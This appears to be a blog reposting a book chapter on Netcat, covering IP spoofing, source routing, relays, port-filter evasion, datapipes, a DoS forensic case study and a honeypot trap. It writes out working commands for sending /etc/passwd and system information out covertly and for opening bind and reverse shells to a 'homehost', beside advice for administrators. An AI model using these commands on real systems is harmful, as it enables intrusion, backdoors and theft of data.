Everything you need to know about Netcat

Frame a Friend: IP Spoofing
IP spoofing has quite a bit of mystique. You�ll often hear, �How do we know that�s really their IP address? What if they�re spoofing it?� It can actually be quite difficult to spoof an IP address.

Perhaps we should rephrase that. Spoofing an IP address is easy. Firewalls that do masquerading or network address translation (NAT) spoof IP addresses on a daily basis. These devices can take a packet from an internal IP address, change the source IP address in the packet to its own IP address, send it out on the network, and undo the modifications when it receives data back from the destination. So changing the contents of the source IP address in an IP packet is easy. What�s difficult is being able to receive any data back from your spoofed IP.

Netcat gives you the �s option, which lets you specify whatever IP address you want. Someone could start a port scan against someone else and use the �s option to make the target think it is being scanned by Microsoft or the Federal Bureau of Investigation (FBI). The problem arises, however, when you actually want the responses from the spoofed port scan to return to your real IP address. Because the target host thinks it received a connection request from Microsoft, for example, it will attempt to send an acknowledgement to that Microsoft IP. The IP will, of course, have no idea what the target host is talking about and will send a reset. How does the information get back to the real IP without being discovered?

Other than actually hacking the machine to be framed, the only other viable option is to use source routing. Source routing allows a network application to specify the route it would like to take to its destination.

Two kinds of source routing exist: strict and loose. Strict source routing means that the packet must specify every hop in the route to the destination host. Some routers and network devices still allow strict source routing, but few should still allow loose source routing. Loose source routing tells routers and network devices that the routers can do most of the routing to the destination host, but it says that the packet must pass through a specified set of routers on its way to the destination. This is dangerous, as it can allow a hacker to pass a packet through a machine she controls (perhaps a machine that changes the IP address of the incoming packet to that of someone else). When the response comes back, it will again have the same loose source routing option and pass back through that rogue machine (which could in turn restore the �true� IP address). Through this method, source routing can allow an attacker to spoof an IP address and still get responses back. Most routers ignore source routing options altogether, but not all.

Netcat�s �g option lets you provide up to eight hops that the packet must pass through before getting to its destination. For example, nc �g 10.10.4.5 �g 10.10.5.8 �g 10.10.7.4 �g 10.10.9.9 10.10.9.50 23 will contact the telnet port on 10.10.9.50, but if source routing options are enabled on intermediate routers, the traffic will be forced to route through these four locations before reaching its destination. If we tried nc �g 10.10.4.5 �g 10.10.5.8 �g 10.10.7.4 �g 10.10.9.9 �G 12 10.10.9.50 23, we�re specifying a hop pointer using the �G option in this command. �G will set the hop pointer to the nth byte (in this case the twelfth), and because IP addresses are 4 bytes each, the hop pointer will start at 10.10.7.4. So on the way to 10.10.9.50, the traffic will need to go through only the last two machines (because according to the hop pointer, we�ve already been to the first two). On the return trip, however, the packet will pass through all four machines.

If your routers and network devices aren�t set up to ignore source routing IP options, hopefully your IDS is keeping an eye out for them. Anyone who might be running a traffic analyzer like Ethereal will easily be able to spot source routing treachery, as the options section of the IP header will be larger than normal and the IP addresses in the route list will be clearly visible using an ASCII decoder. If it�s important to the system administrators, they�ll track down the owner of each IP address in the list in an attempt to find the culprit.

So to sum up, framing someone else for network misbehavior is easy. Actually pretending to be someone is a bit more difficult, however. Either way, Netcat can help do both.

Proxies and Relays
A listening Netcat can be used to spawn another Netcat connection to a different host or port, creating a relay.

Using this feature requires a bit of scripting knowledge. Because Netcat�s �e option takes only a single command (with no command-line arguments), you need to package any and all commands you want to run into a script. You can get pretty fancy with this, creating a relay that spans several different hosts. The technique can be used to create a complex “tunnel,” allowing hackers to make it harder for system administrators to track them down.

The feature can be used for good as well. For example, the relay feature could allow Netcat to proxy web pages. Have it listen on port 80 on a different box, and let it make all your web connections for you (using a script) and pass them through.

Getting Around Port Filters
If you were a hacker, Netcat could be used to help you bypass firewalls. Masquerading disallowed traffic as allowed traffic is the only way to get around firewalls and port filters.

Some firewalls allow incoming traffic from a source port of 20 with a high destination port on the internal network to allow FTP. Launching an attack using nc �p 20 targethost 6000 may allow you access to targethost�s X server if the firewall is badly configured. It might assume your connection is incoming FTP data and let you through. You most likely will be able to access only a certain subset of ports. Firewall admins should explicitly eliminate the port 6000 range from allowable ports in these scenarios, but you may still be able to find other services above 1024 that you can talk to when coming from a source port of 20.

DNS has similar issues. Almost all firewalls have to allow outgoing DNS but not necessarily incoming DNS. If you�re behind a firewall that allows both, you can use this fact to get disallowed traffic through a firewall by giving it a source port of 53. From behind the firewall, running nc �p 53 targethost 5190 might allow you to bypass a filter that would normally block outgoing America Online (AOL) Instant Messenger traffic. You�d have to get tricky with this, but you can see how Netcat can exploit loosely written firewall rules.

System administrators will want to check for particular holes like this. For starters, you can usually deny any DNS TCP traffic, which will shut down a lot of the DNS port filter problems. Forcing users to use passive FTP, which doesn�t require the server to initiate a connection back to the client on TCP port 20, allows you to eliminate that hole.

Building a Datapipe: Make Your Own FTP
Netcat lets you build datapipes. Datapipes are mechanisms for moving data from one place to another. What benefits does this datapiping capability provide?

File Transfers Through Port Filters By putting input and output files on each end of the datapipe, you can effectively send or copy a file from one network location to another without using any kind of �official� file transfer protocol. If you have shell access to a box but are unable to initiate any kind of file transfer to the box because port filters are blocking FTP, NFS (Network File System), and Samba shares, you have an alternative. On the side where the original file lives, run this:

nc �l �u �p 55555 < file_we_want
And from the client, try:
nc �u �targethost 55555 > copy_of_file

Making the connection will immediately transfer the file. Kick out with an EOF (CTRL-C) and your file should be intact.
Covert File Transfers Hackers can use Netcat to transfer files off the system without creating any kind of audit trail. Where FTP or Secure Copy (scp) might leave logs, Netcat won�t.

nc �l �u �p 55555 < /etc/passwd

When the hacker connects to that UDP port, she grabs the /etc/passwd file without anyone knowing about it (unless she was unfortunate enough to run it just as the sysadmin was running a ps or a netstat command).

Grab Application Output Let�s put you back in the hacker�s shoes again. Let�s say you�ve written a script that types some of the important system files to standard output (passwd, group, inetd.conf, hosts.allow, and so on) and runs a few system commands to gather information (uname, ps, netstat). Let�s call this script "sysinfo." On the target you can do one of the following:

nc �l �u �p 55555 �e sysinfo
or
sysinfo | nc �l �u �p 55555

You can grab the output of the command and write it to a file called sysinfo.txt by using this:

nc �u target 55555 > sysinfo.txt

What�s the difference between the two nc �l commands? Both commands take the output of the sysinfo script and pipe it into the listening Netcat so that it sends that data over the network pipe to whoever connects. The �e option �hands over� I/O to the application it executes. When sysinfo is done with its I/O (at EOF), the listener closes and so does the client on the other end. If sysinfo is piped in, the output from sysinfo still travels over to the client, but Netcat still handles the I/O. The client side will not receive an EOF and will wait to see whether the listener has anything more to send.

The same thing can be said for a reverse example. What if you were on the target machine and wanted to initiate a connection to a Netcat listener on your homehost? If Netcat is listening on homehost after running the command nc �l �u �p 55555 > sysinfo.txt, you again have two options:

nc �u �e sysinfo homehost 55555
or
sysinfo | nc �u homehost 55555

On Unix systems, if the command you want to run with �e isn�t located in your current working directory when you start Netcat, you�ll need to specify the full path to the command. Windows Netcat can still make use of the %PATH% variable and doesn�t have this limitation.

The difference again is that using the pipe will have the client remain open even after sysinfo is done sending its output. Using the �e option will have the Netcat client close immediately after sysinfo is finished. The distinction between these two modes becomes extremely apparent when you actually want to run an application on a remote host and do the I/O through a Netcat datapipe.

This is the way to start a remote shell on a Unix box:

nc �u �l �p 55555 �e /bin/sh

Connect using nc �u targethost 55555. The shell (/bin/sh) starts up and lets you interact with that shell over the pipe. The �e option gives I/O control completely to the shell. Keep in mind that this command would need to be part of an endless while loop in a script if you wanted this backdoor to remain open after you exited the shell. Upon exiting the shell, Netcat would close on both sides as soon as /bin/sh finished. The Netcat version for Windows gets around this caveat with the �L option.

Just as you could in the previous example, you could send the I/O control of a local application to a listening Netcat (nc �u �l �p 55555) instance by typing the following:

nc �u �e /bin/sh homehost 55555

And you can do this with any interactive application that works on a text-only basis without any fancy terminal options (the vi text editor won�t work well, for example).

Case Study: Netcat as a Remote Detonator
Joe was investigating a Denial-of-Service (DoS) attack against a popular web site. The attack came from an IP address of a Phoenix, Arizona, cable modem user named Finch. Finch’s Linux NAT gateway was seized, but after questioning Finch, Joe was convinced that he was a relative �newbie� and honestly had no idea what his Linux machine was doing. Upon inspection of the box, Joe found an older version of Secure Shell (SSH) that was vulnerable to a buffer overflow. This buffer overflow could be used by a hacker to gain root access to the Linux box. However, there were no SSH connections logged on or around the time of the attack. In fact, the logs on the Linux box showed no real activity on the system just prior to the attack.

Joe contacted the cable modem company for assistance in his investigation. He was looking for any inbound connections to this box around the time of the attack. They didn’t see anything odd in their port filter logs before the attack�just a bit of normal web traffic. Then Joe remembered that Finch claimed he wasn’t even home when the attack happened�so how could he be surfing the Net? Upon closer inspection, they found an inbound packet from a source port of 80 to a destination port of 3028 on Finch’s box that had no initial outgoing packet. It wasn’t a web server response; it was an inbound connection attempt. A hacker may have made a connection to port 3028 using a source port of 80 to bypass weak firewall rules and hide his traffic. This inbound connection occurred just before the attack commenced.

Now Joe had something to go on. He examined the system once more and found nothing running on port 3028. Joe went back through the system logs to see whether anyone might have hacked the vulnerable SSH server at any point. He was able to find a remote root login via SSH about two months prior to the attack. Interestingly enough, the IP address of the remote SSH client matched the IP address of the inbound port 3028 connection. Using the last command (from Chapter 5), Joe discovered that the root user stayed logged in for more than four hours. No other root SSH logins were made to the system, so Joe focused on this event.

Joe again checked with the cable company’s logs to determine what Finch’s box was doing at the time of the apparent hack. Finch’s box made a TFTP connection to a server in Prague to download a file called �nc.tgz.� Joe had a theory.

The hacker must have logged in two months ago via the vulnerable SSH server and planted a time bomb on the server. After downloading and building Netcat, the hacker could have written a script that would have initiated the attack. Then, the hacker ran a listening instance of Netcat on port 3028 that, when contacted, would launch the DoS attack against the web server. The hacker then waited two months before connecting to port 3028 and pressing the button on his remote detonator. Unfortunately, the IP address of the �detonator� was yet another hacked cable modem user’s Linux box. That box had a script called �launch_me� run by cron at the time of the attack. The launch_me script was no longer on the system, so the hacker had done a decent job of covering his tracks. Joe’s next step was to investigate the Prague TFTP server and the IP address of the SSH client that had hacked the �detonator.� Joe was concerned, however, that he might find yet another instance of netcat leading him on an even wilder goose chase.

Setting a Trap
This one can be an amusing deterrent to would-be hackers. By running an instance of a listening Netcat on a well-known port where a hacker might be expecting to find a vulnerable service, you can mislead the hacker into thinking you�re running something you�re not. If you set it up carefully, you might even be able to trap the hacker.

[root@originix nc]# ./nc �l �v �e fakemail.pl �p 25 >> traplog.txt

Your fakemail script might echo some output to tell the world it�s running a �Swiss-cheese� version of sendmail and practically beg a script kiddy to come hack it. Upon connection termination (EOF), your script would need to restart the same Netcat command. But if someone started getting too nosey, your script could use the yes command to flood your attacker with whatever garbage you like. Even if you prefer to be more subtle, you can at least get a list of IP addresses that messed with you in traplog.txt.

Testing Networking Equipment
We won�t spend too much time here. You can use Netcat to set up listeners on one end of a network and attempt to connect to them from the other end. You can test many network devices (routers, firewalls, and so on) for connectivity by seeing what kinds of traffic you can pass. And since Netcat lets you spoof your source IP address, you can even check IP-based firewall rules so you can make sure your firewall is actually doing what it�s supposed to.

You can also use the �g option to attempt source routing against your network. Most network devices should be configured to ignore source-routing options as their use is almost never legitimate.

Related posts:

1. Understand Windows Server 2008 R2’s downgrade rights
2. Remote Desktop for Dummies
3. HTC Desire ROM for Nexus One with HTC Sense
4. Step-by-Step Guide to Network XP to Vista Printer
5. 10 Steps to Speed Up Your Torrent Downloads

Filed Under: Archive Categories